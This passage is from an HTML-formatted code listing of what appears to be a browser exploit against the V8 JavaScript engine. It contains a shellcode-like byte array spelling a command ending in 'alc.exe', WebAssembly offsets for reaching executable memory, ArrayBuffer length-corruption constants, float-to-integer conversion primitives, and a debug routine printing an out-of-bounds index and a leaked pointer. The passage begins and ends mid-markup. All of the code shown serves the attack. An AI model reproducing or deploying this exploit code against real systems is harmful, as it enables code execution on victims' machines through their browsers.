inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x61</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x6c</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x63</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x2e</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x65</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x78</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x65</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">  6</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">  7</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> WasmOffsets = { <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">  8</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">shared_function_info</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">  9</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">wasm_exported_function_data</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 10</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">wasm_instance</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 11</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//jump_table_start : 31,</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 12</span>  jump_table_start: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">29</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 13</span>};<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 14</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 15</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> AB_LENGTH = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x200</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 16</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> AB_LENGTH_MARK = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x0000020000000000</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 17</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> NEW_LENGTH64  = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x0000006400000000</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 18</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> NEW_LENGTHC8  = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x000000C800000000</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 19</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> MARK1SMI = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x13</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 20</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> MARK2SMI = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x37</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 21</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> MARK1 = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x0000001300000000</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 22</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> MARK2 = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x0000003700000000</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 23</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 24</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> ARRAYBUFFER_SIZE = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x40</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 25</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> PTR_SIZE = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 26</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 27</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> ab = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">ArrayBuffer</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 28</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> fv = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Float64Array</span>(ab);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 29</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> dv = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> BigUint64Array(ab);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 30</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 31</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> f2i = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">f</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 32</span>  fv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] = f;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 33</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> dv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 34</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 35</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 36</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> i2f = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">i</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 37</span>  dv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] = BigInt(i);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 38</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> fv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 39</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 40</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 41</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> tagFloat = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">f</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 42</span>  fv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] = f;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 43</span>  dv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] += <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>n;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 44</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> fv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 45</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 46</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 47</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> hexprintablei = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">i</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 48</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> (i).toString(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">16</span>).padStart(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">16</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;0&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 49</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 50</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 51</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> debug = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">x,z, leak</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 52</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;oob index is &#34;</span> + z);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 53</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;length is &#34;</span> + x.length);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 54</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;leaked 0x&#34;</span> + hexprintablei(f2i(leak)));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 55</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">////%DebugPrint(x);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 56</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%SystemBreak();</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 57</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">////%DumpObjects(x,13); // 23 &amp; 3 to dump the jsarray&#39;s elements</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 58</span>};<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 59</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 60</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 61</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">var</span> wasmCode = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Uint8Array</span>([<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">97</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">115</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">109</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">133</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">96</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">127</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">130</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">132</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">112</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">5</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">131</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">6</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">129</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">7</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">145</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">6</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">109</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">101</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">109</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">111</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">114</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">121</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">109</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">97</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">105</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">110</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: 